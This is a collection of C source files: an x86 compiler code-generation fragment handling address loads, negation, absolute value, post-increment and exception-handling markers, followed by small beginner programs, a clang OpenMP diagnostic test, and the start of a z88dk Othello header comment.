(mAX|mBX|mDX|mDI) & ~mask[lreg]; allocreg(cdb,&scratch,&mreg,TYint); } else { mreg = lreg; lreg = findreglsw(*pretregs); } /* if (get segment of function that isn't necessarily in the * current segment (i.e. CS doesn't have the right value in it) */ tym_t ety; Symbol *s = e->EV.sp.Vsym; if (s->Sfl == FLdatseg) { assert(0); goto loadreg; } sclass = (enum SC) s->Sclass; ety = tybasic(s->ty()); if ((tyfarfunc(ety) || ety == TYifunc) && (sclass == SCextern || ClassInline(sclass) || config.wflags & WFthunk) || s->Sfl == FLfardata || (s->ty() & mTYcs && s->Sseg != cseg && (LARGECODE || s->Sclass == SCcomdat)) ) { // MOV mreg,seg of symbol cdb.gencs(0xB8 + mreg,0,FLextern,s); cdb.last()->Iflags = CFseg; } else { loadreg: int fl = s->Sfl; if (s->ty() & mTYcs) fl = FLcsdata; cdb.gen2(0x8C, // MOV mreg,SEG REGISTER modregrm(3,segfl[fl],mreg)); } if (*pretregs & mES) cdb.gen2(0x8E,modregrm(3,0,mreg)); // MOV ES,mreg } getoffset(cdb,e,lreg); } /********************************* * Load the offset portion of the address represented by e into * reg. */ void getoffset(CodeBuilder& cdb,elem *e,unsigned reg) { //printf("getoffset(e = %p, reg = %d)\n", e, reg); code cs; cs.Iflags = 0; unsigned char rex = 0; cs.Irex = rex; assert(e->Eoper == OPvar || e->Eoper == OPrelconst); enum FL fl = el_fl(e); switch (fl) { case FLdatseg: cs.IEV2._EP.Vpointer = e->EV.Vpointer; goto L3; case FLfardata: goto L4; case FLtlsdata: #if TARGET_LINUX || TARGET_OSX || TARGET_FREEBSD || TARGET_OPENBSD || TARGET_DRAGONFLYBSD || TARGET_SOLARIS { L5: if (config.flags3 & CFG3pic) { if (I64) { /* Generate: * LEA DI,s@TLSGD[RIP] */ assert(reg == DI); code css; css.Irex = REX | REX_W; css.Iop = LEA; css.Irm = modregrm(0,DI,5); css.Iflags = CFopsize; css.IFL1 = fl; css.IEVsym1 = e->EV.sp.Vsym; css.IEVoffset1 = e->EV.sp.Voffset; cdb.gen(&css); } else { /* Generate: * LEA EAX,s@TLSGD[1*EBX+0] */ assert(reg == AX); load_localgot(cdb); code css; css.Iop = LEA; // LEA css.Irm = modregrm(0,AX,4); css.Isib = modregrm(0,BX,5); css.IFL1 = fl; css.IEVsym1 = e->EV.sp.Vsym; css.IEVoffset1 = e->EV.sp.Voffset; cdb.gen(&css); } return; } /* Generate: * MOV reg,GS:[00000000] * ADD reg, offset s@TLS_LE * for locals, and for globals: * MOV reg,GS:[00000000] * ADD reg, s@TLS_IE * note different fixup */ int stack = 0; if (reg == STACK) { regm_t retregs = ALLREGS; allocreg(cdb,&retregs,&reg,TYoffset); reg = findreg(retregs); stack = 1; } code css; css.Irex = rex; css.Iop = 0x8B; css.Irm = modregrm(0, 0, BPRM); code_newreg(&css, reg); css.Iflags = CFgs; css.IFL1 = FLconst; css.IEV1.Vuns = 0; cdb.gen(&css); // MOV reg,GS:[00000000] if (e->EV.sp.Vsym->Sclass == SCstatic || e->EV.sp.Vsym->Sclass == SClocstat) { // ADD reg, offset s cs.Irex = rex; cs.Iop = 0x81; cs.Irm = modregrm(3,0,reg & 7); if (reg & 8) cs.Irex |= REX_B; cs.Iflags = CFoff; cs.IFL2 = fl; cs.IEVsym2 = e->EV.sp.Vsym; cs.IEVoffset2 = e->EV.sp.Voffset; } else { // ADD reg, s cs.Irex = rex; cs.Iop = 0x03; cs.Irm = modregrm(0,0,BPRM); code_newreg(&cs, reg); cs.Iflags = CFoff; cs.IFL1 = fl; cs.IEVsym1 = e->EV.sp.Vsym; cs.IEVoffset1 = e->EV.sp.Voffset; } cdb.gen(&cs); // ADD reg, xxxx if (stack) { cdb.gen1(0x50 + (reg & 7)); // PUSH reg if (reg & 8) code_orrex(cdb.last(), REX_B); cdb.genadjesp(REGSIZE); stackchanged = 1; } break; } #elif TARGET_WINDOS if (I64) { L5: assert(reg != STACK); cs.IEVsym2 = e->EV.sp.Vsym; cs.IEVoffset2 = e->EV.sp.Voffset; cs.Iop = 0xB8 + (reg & 7); // MOV Ereg,offset s if (reg & 8) cs.Irex |= REX_B; cs.Iflags = CFoff; // want offset only cs.IFL2 = fl; cdb.gen(&cs); break; } goto L4; #else goto L4; #endif case FLfunc: fl = FLextern; /* don't want PC relative addresses */ goto L4; case FLextern: #if TARGET_LINUX || TARGET_OSX || TARGET_FREEBSD || TARGET_OPENBSD || TARGET_DRAGONFLYBSD || TARGET_SOLARIS if (e->EV.sp.Vsym->ty() & mTYthread) goto L5; #endif #if TARGET_WINDOS if (I64 && e->EV.sp.Vsym->ty() & mTYthread) goto L5; #endif case FLdata: case FLudata: case FLgot: case FLgotoff: case FLcsdata: L4: cs.IEVsym2 = e->EV.sp.Vsym; cs.IEVoffset2 = e->EV.sp.Voffset; L3: if (reg == STACK) { stackchanged = 1; cs.Iop = 0x68; /* PUSH immed16 */ cdb.genadjesp(REGSIZE); } else { cs.Iop = 0xB8 + (reg & 7); // MOV reg,immed16 if (reg & 8) cs.Irex |= REX_B; if (I64) { cs.Irex |= REX_W; if (config.flags3 & CFG3pic || config.exe == EX_WIN64) { // LEA reg,immed32[RIP] cs.Iop = LEA; cs.Irm = modregrm(0,reg & 7,5); if (reg & 8) cs.Irex = (cs.Irex & ~REX_B) | REX_R; cs.IFL1 = fl; cs.IEVsym1 = cs.IEVsym2; cs.IEVoffset1 = cs.IEVoffset2; } } } cs.Iflags = CFoff; /* want offset only */ cs.IFL2 = fl; cdb.gen(&cs); break; case FLreg: /* Allow this since the tree optimizer puts & in front of */ /* register doubles. */ goto L2; case FLauto: case FLfast: case FLbprel: case FLfltreg: reflocal = TRUE; goto L2; case FLpara: refparam = TRUE; L2: if (reg == STACK) { regm_t retregs = ALLREGS; allocreg(cdb,&retregs,&reg,TYoffset); reg = findreg(retregs); loadea(cdb,e,&cs,LEA,reg,0,0,0); // LEA reg,EA if (I64) code_orrex(cdb.last(), REX_W); cdb.gen1(0x50 + (reg & 7)); // PUSH reg if (reg & 8) code_orrex(cdb.last(), REX_B); cdb.genadjesp(REGSIZE); stackchanged = 1; } else { loadea(cdb,e,&cs,LEA,reg,0,0,0); // LEA reg,EA if (I64) code_orrex(cdb.last(), REX_W); } break; default: #ifdef DEBUG elem_print(e); debugx(WRFL(fl)); #endif assert(0); } } /****************** * Negate, sqrt operator */ void cdneg(CodeBuilder& cdb,elem *e,regm_t *pretregs) { //printf("cdneg()\n"); //elem_print(e); if (*pretregs == 0) { codelem(cdb,e->E1,pretregs,FALSE); return; } tym_t tyml = tybasic(e->E1->Ety); int sz = _tysize[tyml]; if (tyfloating(tyml)) { if (tycomplex(tyml)) { neg_complex87(cdb, e, pretregs); return; } if (tyxmmreg(tyml) && e->Eoper == OPneg && *pretregs & XMMREGS) { xmmneg(cdb,e,pretregs); return; } if (config.inline8087 && ((*pretregs & (ALLREGS | mBP)) == 0 || e->Eoper == OPsqrt || I64)) { neg87(cdb,e,pretregs); return; } regm_t retregs = (I16 && sz == 8) ? DOUBLEREGS_16 : ALLREGS; codelem(cdb,e->E1,&retregs,FALSE); getregs(cdb,retregs); if (I32) { unsigned reg = (sz == 8) ? findregmsw(retregs) : findreg(retregs); cdb.genc2(0x81,modregrm(3,6,reg),0x80000000); // XOR EDX,sign bit } else { unsigned reg = (sz == 8) ? (unsigned) AX : findregmsw(retregs); cdb.genc2(0x81,modregrm(3,6,reg),0x8000); // XOR AX,0x8000 } fixresult(cdb,e,retregs,pretregs); return; } unsigned byte = sz == 1; regm_t possregs = (byte) ? BYTEREGS : allregs; regm_t retregs = *pretregs & possregs; if (retregs == 0) retregs = possregs; codelem(cdb,e->E1,&retregs,FALSE); getregs(cdb,retregs); // retregs will be destroyed if (sz <= REGSIZE) { unsigned reg = findreg(retregs); unsigned rex = (I64 && sz == 8) ? REX_W : 0; if (I64 && sz == 1 && reg >= 4) rex |= REX; cdb.gen2(0xF7 ^ byte,(rex << 16) | modregrmx(3,3,reg)); // NEG reg if (!I16 && _tysize[tyml] == SHORTSIZE && *pretregs & mPSW) cdb.last()->Iflags |= CFopsize | CFpsw; *pretregs &= mBP | ALLREGS; // flags already set } else if (sz == 2 * REGSIZE) { unsigned msreg = findregmsw(retregs); cdb.gen2(0xF7,modregrm(3,3,msreg)); // NEG msreg unsigned lsreg = findreglsw(retregs); cdb.gen2(0xF7,modregrm(3,3,lsreg)); // NEG lsreg code_orflag(cdb.last(), CFpsw); // need flag result of previous NEG cdb.genc2(0x81,modregrm(3,3,msreg),0); // SBB msreg,0 } else assert(0); fixresult(cdb,e,retregs,pretregs); } /****************** * Absolute value operator */ void cdabs(CodeBuilder& cdb,elem *e, regm_t *pretregs) { //printf("cdabs(e = %p, *pretregs = %s)\n", e, regm_str(*pretregs)); if (*pretregs == 0) { codelem(cdb,e->E1,pretregs,FALSE); return; } tym_t tyml = tybasic(e->E1->Ety); int sz = _tysize[tyml]; unsigned rex = (I64 && sz == 8) ? REX_W : 0; if (tyfloating(tyml)) { if (config.inline8087 && ((*pretregs & (ALLREGS | mBP)) == 0 || I64)) { neg87(cdb,e,pretregs); return; } regm_t retregs = (!I32 && sz == 8) ? DOUBLEREGS_16 : ALLREGS; codelem(cdb,e->E1,&retregs,FALSE); getregs(cdb,retregs); if (I32) { int reg = (sz == 8) ? findregmsw(retregs) : findreg(retregs); cdb.genc2(0x81,modregrm(3,4,reg),0x7FFFFFFF); // AND EDX,~sign bit } else { int reg = (sz == 8) ? (int) AX : findregmsw(retregs); cdb.genc2(0x81,modregrm(3,4,reg),0x7FFF); // AND AX,0x7FFF } fixresult(cdb,e,retregs,pretregs); return; } unsigned byte = sz == 1; assert(byte == 0); byte = 0; regm_t possregs = (sz <= REGSIZE) ? (regm_t) mAX : allregs; if (!I16 && sz == REGSIZE) possregs = allregs; regm_t retregs = *pretregs & possregs; if (retregs == 0) retregs = possregs; codelem(cdb,e->E1,&retregs,FALSE); getregs(cdb,retregs); // retregs will be destroyed if (sz <= REGSIZE) { /* CWD XOR AX,DX SUB AX,DX or: MOV r,reg SAR r,63 XOR reg,r SUB reg,r */ unsigned reg; unsigned r; if (!I16 && sz == REGSIZE) { regm_t scratch = allregs & ~retregs; reg = findreg(retregs); allocreg(cdb,&scratch,&r,TYint); getregs(cdb,retregs); genmovreg(cdb,r,reg); // MOV r,reg cdb.genc2(0xC1,modregrmx(3,7,r),REGSIZE * 8 - 1); // SAR r,31/63 code_orrex(cdb.last(), rex); } else { reg = AX; r = DX; getregs(cdb,mDX); if (!I16 && sz == SHORTSIZE) cdb.gen1(0x98); // CWDE cdb.gen1(0x99); // CWD code_orrex(cdb.last(), rex); } cdb.gen2(0x33 ^ byte,(rex << 16) | modregxrmx(3,reg,r)); // XOR reg,r cdb.gen2(0x2B ^ byte,(rex << 16) | modregxrmx(3,reg,r)); // SUB reg,r if (!I16 && sz == SHORTSIZE && *pretregs & mPSW) cdb.last()->Iflags |= CFopsize | CFpsw; if (*pretregs & mPSW) cdb.last()->Iflags |= CFpsw; *pretregs &= ~mPSW; // flags already set } else if (sz == 2 * REGSIZE) { /* or DX,DX jns L2 neg DX neg AX sbb DX,0 L2: */ code *cnop = gennop(CNIL); unsigned msreg = findregmsw(retregs); unsigned lsreg = findreglsw(retregs); genorreg(cdb,msreg,msreg); genjmp(cdb,JNS,FLcode,(block *)cnop); cdb.gen2(0xF7,modregrm(3,3,msreg)); // NEG msreg cdb.gen2(0xF7,modregrm(3,3,lsreg)); // NEG lsreg+1 cdb.genc2(0x81,modregrm(3,3,msreg),0); // SBB msreg,0 cdb.append(cnop); } else assert(0); fixresult(cdb,e,retregs,pretregs); } /************************** * Post increment and post decrement. */ void cdpost(CodeBuilder& cdb,elem *e,regm_t *pretregs) { //printf("cdpost(pretregs = %s)\n", regm_str(*pretregs)); code cs; regm_t retregs = *pretregs; unsigned op = e->Eoper; // OPxxxx if (retregs == 0) // if nothing to return { cdaddass(cdb,e,pretregs); return; } tym_t tyml = tybasic(e->E1->Ety); int sz = _tysize[tyml]; elem *e2 = e->E2; unsigned rex = (I64 && sz == 8) ? REX_W : 0; if (tyfloating(tyml)) { if (config.fpxmmregs && tyxmmreg(tyml) && !tycomplex(tyml) // SIMD code is not set up to deal with complex ) { xmmpost(cdb,e,pretregs); return; } if (config.inline8087) { post87(cdb,e,pretregs); return; } #if TARGET_WINDOS assert(sz <= 8); getlvalue(cdb,&cs,e->E1,DOUBLEREGS); freenode(e->E1); regm_t idxregs = idxregm(&cs); // mask of index regs used cs.Iop = 0x8B; /* MOV DOUBLEREGS,EA */ fltregs(cdb,&cs,tyml); stackchanged = 1; int stackpushsave = stackpush; if (sz == 8) { if (I32) { cdb.gen1(0x50 + DX); // PUSH DOUBLEREGS cdb.gen1(0x50 + AX); stackpush += DOUBLESIZE; retregs = DOUBLEREGS2_32; } else { cdb.gen1(0x50 + AX); cdb.gen1(0x50 + BX); cdb.gen1(0x50 + CX); cdb.gen1(0x50 + DX); /* PUSH DOUBLEREGS */ stackpush += DOUBLESIZE + DOUBLESIZE; cdb.gen1(0x50 + AX); cdb.gen1(0x50 + BX); cdb.gen1(0x50 + CX); cdb.gen1(0x50 + DX); /* PUSH DOUBLEREGS */ retregs = DOUBLEREGS_16; } } else { stackpush += FLOATSIZE; /* so we know something is on */ if (!I32) cdb.gen1(0x50 + DX); cdb.gen1(0x50 + AX); retregs = FLOATREGS2; } cdb.genadjesp(stackpush - stackpushsave); cgstate.stackclean++; scodelem(cdb,e2,&retregs,idxregs,FALSE); cgstate.stackclean--; if (tyml == TYdouble || tyml == TYdouble_alias) { retregs = DOUBLEREGS; callclib(cdb,e,(op == OPpostinc) ? CLIBdadd : CLIBdsub, &retregs,idxregs); } else /* tyml == TYfloat */ { retregs = FLOATREGS; callclib(cdb,e,(op == OPpostinc) ? CLIBfadd : CLIBfsub, &retregs,idxregs); } cs.Iop = 0x89; /* MOV EA,DOUBLEREGS */ fltregs(cdb,&cs,tyml); stackpushsave = stackpush; if (tyml == TYdouble || tyml == TYdouble_alias) { if (*pretregs == mSTACK) retregs = mSTACK; /* leave result on stack */ else { if (I32) { cdb.gen1(0x58 + AX); cdb.gen1(0x58 + DX); } else { cdb.gen1(0x58 + DX); cdb.gen1(0x58 + CX); cdb.gen1(0x58 + BX); cdb.gen1(0x58 + AX); } stackpush -= DOUBLESIZE; retregs = DOUBLEREGS; } } else { cdb.gen1(0x58 + AX); if (!I32) cdb.gen1(0x58 + DX); stackpush -= FLOATSIZE; retregs = FLOATREGS; } cdb.genadjesp(stackpush - stackpushsave); fixresult(cdb,e,retregs,pretregs); return; #endif } if (tyxmmreg(tyml)) { xmmpost(cdb,e,pretregs); return; } assert(e2->Eoper == OPconst); unsigned byte = (sz == 1); regm_t possregs = byte ? BYTEREGS : allregs; getlvalue(cdb,&cs,e->E1,0); freenode(e->E1); regm_t idxregs = idxregm(&cs); // mask of index regs used if (sz <= REGSIZE && *pretregs == mPSW && (cs.Irm & 0xC0) == 0xC0 && (!I16 || (idxregs & (mBX | mSI | mDI | mBP)))) { // Generate: // TEST reg,reg // LEA reg,n[reg] // don't affect flags int rm; unsigned reg = cs.Irm & 7; if (cs.Irex & REX_B) reg |= 8; cs.Iop = 0x85 ^ byte; code_newreg(&cs, reg); cs.Iflags |= CFpsw; cdb.gen(&cs); // TEST reg,reg // If lvalue is a register variable, we must mark it as modified modEA(cdb,&cs); targ_int n = e2->EV.Vint; if (op == OPpostdec) n = -n; rm = reg; if (I16) rm = regtorm[reg]; cdb.genc1(LEA,(rex << 16) | buildModregrm(2,reg,rm),FLconst,n); // LEA reg,n[reg] return; } else if (sz <= REGSIZE || tyfv(tyml)) { code cs2; cs.Iop = 0x8B ^ byte; retregs = possregs & ~idxregs & *pretregs; if (!tyfv(tyml)) { if (retregs == 0) retregs = possregs & ~idxregs; } else /* tyfv(tyml) */ { if ((retregs &= mLSW) == 0) retregs = mLSW & ~idxregs; /* Can't use LES if the EA uses ES as a seg override */ if (*pretregs & mES && (cs.Iflags & CFSEG) != CFes) { cs.Iop = 0xC4; /* LES */ getregs(cdb,mES); // allocate ES } } unsigned reg; allocreg(cdb,&retregs,&reg,TYint); code_newreg(&cs, reg); if (sz == 1 && I64 && reg >= 4) cs.Irex |= REX; cdb.gen(&cs); // MOV reg,EA cs2 = cs; /* If lvalue is a register variable, we must mark it as modified */ modEA(cdb,&cs); cs.Iop = 0x81 ^ byte; cs.Irm &= ~modregrm(0,7,0); /* reg field = 0 */ cs.Irex &= ~REX_R; if (op == OPpostdec) cs.Irm |= modregrm(0,5,0); /* SUB */ cs.IFL2 = FLconst; targ_int n = e2->EV.Vint; cs.IEV2.Vint = n; if (n == 1) /* can use INC or DEC */ { cs.Iop |= 0xFE; /* xFE is dec byte, xFF is word */ if (op == OPpostdec) NEWREG(cs.Irm,1); // DEC EA else NEWREG(cs.Irm,0); // INC EA } else if (n == -1) // can use INC or DEC { cs.Iop |= 0xFE; // xFE is dec byte, xFF is word if (op == OPpostinc) NEWREG(cs.Irm,1); // DEC EA else NEWREG(cs.Irm,0); // INC EA } // For scheduling purposes, we wish to replace: // MOV reg,EA // OP EA // with: // MOV reg,EA // OP reg // MOV EA,reg // ~OP reg if (sz <= REGSIZE && (cs.Irm & 0xC0) != 0xC0 && config.target_cpu >= TARGET_Pentium && config.flags4 & CFG4speed) { // Replace EA in cs with reg cs.Irm = (cs.Irm & ~modregrm(3,0,7)) | modregrm(3,0,reg & 7); if (reg & 8) { cs.Irex &= ~REX_R; cs.Irex |= REX_B; } else cs.Irex &= ~REX_B; if (I64 && sz == 1 && reg >= 4) cs.Irex |= REX; cdb.gen(&cs); // ADD/SUB reg,const // Reverse MOV direction cs2.Iop ^= 2; cdb.gen(&cs2); // MOV EA,reg // Toggle INC <-> DEC, ADD <-> SUB cs.Irm ^= (n == 1 || n == -1) ? modregrm(0,1,0) : modregrm(0,5,0); cdb.gen(&cs); if (*pretregs & mPSW) { *pretregs &= ~mPSW; // flags already set code_orflag(cdb.last(),CFpsw); } } else cdb.gen(&cs); // ADD/SUB EA,const freenode(e2); if (tyfv(tyml)) { unsigned preg; getlvalue_msw(&cs); if (*pretregs & mES) { preg = ES; /* ES is already loaded if CFes is 0 */ cs.Iop = ((cs.Iflags & CFSEG) == CFes) ? 0x8E : NOP; NEWREG(cs.Irm,0); /* MOV ES,EA+2 */ } else { retregs = *pretregs & mMSW; if (!retregs) retregs = mMSW; allocreg(cdb,&retregs,&preg,TYint); cs.Iop = 0x8B; if (I32) cs.Iflags |= CFopsize; NEWREG(cs.Irm,preg); /* MOV preg,EA+2 */ } getregs(cdb,mask[preg]); cdb.gen(&cs); retregs = mask[reg] | mask[preg]; } fixresult(cdb,e,retregs,pretregs); return; } else if (tyml == TYhptr) { unsigned long rvalue; unsigned lreg; unsigned rtmp; regm_t mtmp; rvalue = e2->EV.Vlong; freenode(e2); // If h--, convert to h++ if (e->Eoper == OPpostdec) rvalue = -rvalue; retregs = mLSW & ~idxregs & *pretregs; if (!retregs) retregs = mLSW & ~idxregs; allocreg(cdb,&retregs,&lreg,TYint); // Can't use LES if the EA uses ES as a seg override if (*pretregs & mES && (cs.Iflags & CFSEG) != CFes) { cs.Iop = 0xC4; retregs |= mES; getregs(cdb,mES|mCX); // allocate ES cs.Irm |= modregrm(0,lreg,0); cdb.gen(&cs); // LES lreg,EA } else { cs.Iop = 0x8B; retregs |= mDX; getregs(cdb,mDX|mCX); cs.Irm |= modregrm(0,lreg,0); cdb.gen(&cs); // MOV lreg,EA NEWREG(cs.Irm,DX); getlvalue_msw(&cs); cdb.gen(&cs); // MOV DX,EA+2 getlvalue_lsw(&cs); } // Allocate temporary register, rtmp mtmp = ALLREGS & ~mCX & ~idxregs & ~retregs; allocreg(cdb,&mtmp,&rtmp,TYint); movregconst(cdb,rtmp,rvalue >> 16,0); // MOV rtmp,e2+2 getregs(cdb,mtmp); cs.Iop = 0x81; NEWREG(cs.Irm,0); cs.IFL2 = FLconst; cs.IEV2.Vint = rvalue; cdb.gen(&cs); // ADD EA,e2 code_orflag(cdb.last(),CFpsw); cdb.genc2(0x81,modregrm(3,2,rtmp),0); // ADC rtmp,0 genshift(cdb); // MOV CX,offset __AHSHIFT cdb.gen2(0xD3,modregrm(3,4,rtmp)); // SHL rtmp,CL cs.Iop = 0x01; NEWREG(cs.Irm,rtmp); // ADD EA+2,rtmp getlvalue_msw(&cs); cdb.gen(&cs); fixresult(cdb,e,retregs,pretregs); return; } else if (sz == 2 * REGSIZE) { retregs = allregs & ~idxregs & *pretregs; if ((retregs & mLSW) == 0) retregs |= mLSW & ~idxregs; if ((retregs & mMSW) == 0) retregs |= ALLREGS & mMSW; assert(retregs & mMSW && retregs & mLSW); unsigned reg; allocreg(cdb,&retregs,&reg,tyml); unsigned sreg = findreglsw(retregs); cs.Iop = 0x8B; cs.Irm |= modregrm(0,sreg,0); cdb.gen(&cs); // MOV sreg,EA NEWREG(cs.Irm,reg); getlvalue_msw(&cs); cdb.gen(&cs); // MOV reg,EA+2 cs.Iop = 0x81; cs.Irm &= ~modregrm(0,7,0); /* reg field = 0 for ADD */ if (op == OPpostdec) cs.Irm |= modregrm(0,5,0); /* SUB */ getlvalue_lsw(&cs); cs.IFL2 = FLconst; cs.IEV2.Vlong = e2->EV.Vlong; cdb.gen(&cs); // ADD/SUB EA,const code_orflag(cdb.last(),CFpsw); getlvalue_msw(&cs); cs.IEV2.Vlong = 0; if (op == OPpostinc) cs.Irm ^= modregrm(0,2,0); /* ADC */ else cs.Irm ^= modregrm(0,6,0); /* SBB */ cs.IEV2.Vlong = e2->EV.Vullong >> (REGSIZE * 8); cdb.gen(&cs); // ADC/SBB EA,0 freenode(e2); fixresult(cdb,e,retregs,pretregs); return; } else { assert(0); /* NOTREACHED */ } } void cderr(CodeBuilder& cdb,elem *e,regm_t *pretregs) { #if DEBUG elem_print(e); #endif //printf("op = %d, %d\n", e->Eoper, OPstring); //printf("string = %p, len = %d\n", e->EV.ss.Vstring, e->EV.ss.Vstrlen); //printf("string = '%.*s'\n", e->EV.ss.Vstrlen, e->EV.ss.Vstring); assert(0); } void cdinfo(CodeBuilder& cdb,elem *e,regm_t *pretregs) { code cs; regm_t retregs; switch (e->E1->Eoper) { #if MARS case OPdctor: codelem(cdb,e->E2,pretregs,FALSE); retregs = 0; codelem(cdb,e->E1,&retregs,FALSE); break; #endif #if SCPP case OPdtor: cdcomma(cdb,e,pretregs); break; case OPctor: codelem(cdb,e->E2,pretregs,FALSE); retregs = 0; codelem(cdb,e->E1,&retregs,FALSE); break; case OPmark: if (0 && config.exe == EX_WIN32) { unsigned idx = except_index_get(); except_mark(); codelem(cdb,e->E2,pretregs,FALSE); if (config.exe == EX_WIN32 && idx != except_index_get()) { usednteh |= NTEHcleanup; nteh_gensindex(cdb,idx - 1); } except_release(); assert(idx == except_index_get()); } else { cs.Iop = ESCAPE | ESCmark; cs.Iflags = 0; cs.Irex = 0; cdb.gen(&cs); codelem(cdb,e->E2,pretregs,FALSE); cs.Iop = ESCAPE | ESCrelease; cdb.gen(&cs); } freenode(e->E1); break; #endif default: assert(0); } } /******************************************* * D constructor. */ void cddctor(CodeBuilder& cdb,elem *e,regm_t *pretregs) { /* Generate: ESCAPE | ESCdctor MOV sindex[BP],index */ usednteh |= EHcleanup; if (config.ehmethod == EH_WIN32) { usednteh |= NTEHcleanup | NTEH_try; nteh_usevars(); } assert(*pretregs == 0); code cs; cs.Iop = ESCAPE | ESCdctor; // mark start of EH range cs.Iflags = 0; cs.Irex = 0; cs.IFL1 = FLctor; cs.IEV1.Vtor = e; cdb.gen(&cs); nteh_gensindex(cdb,0); // the actual index will be patched in later // by except_fillInEHTable() } /******************************************* * D destructor. */ void cdddtor(CodeBuilder& cdb,elem *e,regm_t *pretregs) { if (config.ehmethod == EH_DWARF) { usednteh |= EHcleanup; code cs; cs.Iop = ESCAPE | ESCddtor; // mark end of EH range and where landing pad is cs.Iflags = 0; cs.Irex = 0; cs.IFL1 = FLdtor; cs.IEV1.Vtor = e; cdb.gen(&cs); // Mark all registers as destroyed getregsNoSave(allregs); assert(*pretregs == 0); codelem(cdb,e->E1,pretregs,FALSE); return; } else { /* Generate: ESCAPE | ESCddtor MOV sindex[BP],index CALL dtor JMP L1 Ldtor: ... e->E1 ... RET L1: NOP */ usednteh |= EHcleanup; if (config.ehmethod == EH_WIN32) { usednteh |= NTEHcleanup | NTEH_try; nteh_usevars(); } code cs; cs.Iop = ESCAPE | ESCddtor; cs.Iflags = 0; cs.Irex = 0; cs.IFL1 = FLdtor; cs.IEV1.Vtor = e; cdb.gen(&cs); nteh_gensindex(cdb,0); // the actual index will be patched in later // by except_fillInEHTable() // Mark all registers as destroyed getregsNoSave(allregs); assert(*pretregs == 0); CodeBuilder cdbx; codelem(cdbx,e->E1,pretregs,FALSE); cdbx.gen1(0xC3); // RET code *c = cdbx.finish(); if (config.flags3 & CFG3pic) { int nalign = 0; if (STACKALIGN == 16) { nalign = STACKALIGN - REGSIZE; cod3_stackadj(cdb, nalign); } calledafunc = 1; genjmp(cdb,0xE8,FLcode,(block *)c); // CALL Ldtor if (nalign) cod3_stackadj(cdb, -nalign); } else genjmp(cdb,0xE8,FLcode,(block *)c); // CALL Ldtor code *cnop = gennop(CNIL); genjmp(cdb,JMP,FLcode,(block *)cnop); cdb.append(cdbx); cdb.append(cnop); return; } } /******************************************* * C++ constructor. */ void cdctor(CodeBuilder& cdb,elem *e,regm_t *pretregs) { #if SCPP code cs; usednteh |= EHcleanup; if (config.exe == EX_WIN32) usednteh |= NTEHcleanup; assert(*pretregs == 0); cs.Iop = ESCAPE | ESCctor; cs.Iflags = 0; cs.Irex = 0; cs.IFL1 = FLctor; cs.IEV1.Vtor = e; cdb.gen(&cs); #endif } void cddtor(CodeBuilder& cdb,elem *e,regm_t *pretregs) { #if SCPP code cs; usednteh |= EHcleanup; if (config.exe == EX_WIN32) usednteh |= NTEHcleanup; assert(*pretregs == 0); cs.Iop = ESCAPE | ESCdtor; cs.Iflags = 0; cs.Irex = 0; cs.IFL1 = FLdtor; cs.IEV1.Vtor = e; cdb.gen(&cs); #endif } void cdmark(CodeBuilder& cdb,elem *e,regm_t *pretregs) { } #if !NTEXCEPTIONS void cdsetjmp(CodeBuilder& cdb,elem *e,regm_t *pretregs) { assert(0); } #endif /***************************************** */ void cdvoid(CodeBuilder& cdb,elem *e,regm_t *pretregs) { assert(*pretregs == 0); codelem(cdb,e->E1,pretregs,FALSE); } /***************************************** */ void cdhalt(CodeBuilder& cdb,elem *e,regm_t *pretregs) { assert(*pretregs == 0); cdb.gen1(config.target_cpu >= TARGET_80286 ? UD2 : INT3); } #endif // !SPP
the_stack_data/3263101.c
char *hwdynamic2(void) { return "hwdynamic2() of libhwdynamic is called\n"; }
the_stack_data/78250.c
#include<stdio.h> int arrayrev(int a[]) { for (int i = 0; i < 7/2; i++) { int b = a[i]; a[i] = a[6-i]; a[6-i] = b; } } int arrayprint(int a[]) { for (int i = 0; i < 7; i++) { printf("%d\n",a[i]); } } int main(int argc, char const *argv[]) { int a[] = {1,2,3,4,5,6,67}; printf("the array before reversal is :\n"); arrayprint(a); arrayrev(a); printf("the array after reversal is :\n"); arrayprint(a); return 0; }
the_stack_data/211079506.c
// RUN: %clang_cc1 -verify=ompx -fopenmp %s // RUN: %clang_cc1 -verify=ompx -fopenmp-simd %s // RUN: %clang_cc1 -verify=ompx -fopenmp -fopenmp-extensions %s // RUN: %clang_cc1 -verify=ompx -fopenmp-simd -fopenmp-extensions %s // RUN: %clang_cc1 -verify=omp -fopenmp -fno-openmp-extensions %s // RUN: %clang_cc1 -verify=omp -fopenmp-simd -fno-openmp-extensions %s // RUN: %clang_cc1 -verify=omp -fopenmp \ // RUN: -fopenmp-extensions -fno-openmp-extensions %s // RUN: %clang_cc1 -verify=omp -fopenmp-simd \ // RUN: -fopenmp-extensions -fno-openmp-extensions %s // RUN: %clang_cc1 -verify=ompx -fopenmp \ // RUN: -fno-openmp-extensions -fopenmp-extensions %s // RUN: %clang_cc1 -verify=ompx -fopenmp-simd \ // RUN: -fno-openmp-extensions -fopenmp-extensions %s void foo() { int x; // ompx-no-diagnostics // omp-error@+1 {{incorrect map type modifier}} #pragma omp target map(ompx_hold, alloc: x) ; }
the_stack_data/243893022.c
#include <stdio.h> int main(int argc, char *argv[]) { int foo[] = {1,2,3,4}; int sizeOfFoo = sizeof(foo); int lengthOfFoo = sizeof(foo) / sizeof(foo[0]); int i; for(i=0; i < lengthOfFoo; i++) { printf("%d \n", foo[i]); } printf("size of foo: %d\n", sizeOfFoo); printf("length of foo: %d\n", lengthOfFoo); return 0; }
the_stack_data/10812.c
/* * $Id: othello.c,v 1.8 2015-08-10 12:55:57 stefano Exp $ * * z88dk port of the 'historical' game by Leor Zolman * * This adaption shows how to translate a bi-dimensional * array (not supported by sccz80) into a vector. * * Note that this program is recursive and requires * a lot of stack space, thus it could need to be properly located. * * Examples on how to compile in text mode: * zcc +zx -clib=ansi -lndos -O3 -create-app -zorg=50000 othello.c * zcc +zx81 -O3 -create-app othello.c * * Examples on how to compile in graphics mode: * zcc +zx -lndos -O3 -create-app -zorg=50000 -DGRAPHICS othello.c * zcc +ts2068 -clib=ansi -O3 -lgfx2068hr -lndos -create-app -zorg=45000 -DWIDEGRAPHICS othello.c * (16K, WRX HRG mode) * zcc +zx81 -O3 -subtype=_wrx64 -clib=wrx64ansi -create-app -DSMALLGRAPHICS othello.c * (32K + WRX HRG, add the '#pragma output hrgpage = 36096' line) * zcc +zx81 -O3 -subtype=_wrx -clib=wrxansi -create-app -DSMALLGRAPHICS othello.c * * Examples on how to compile in redefinded font mode: * zcc +zx81 -O3 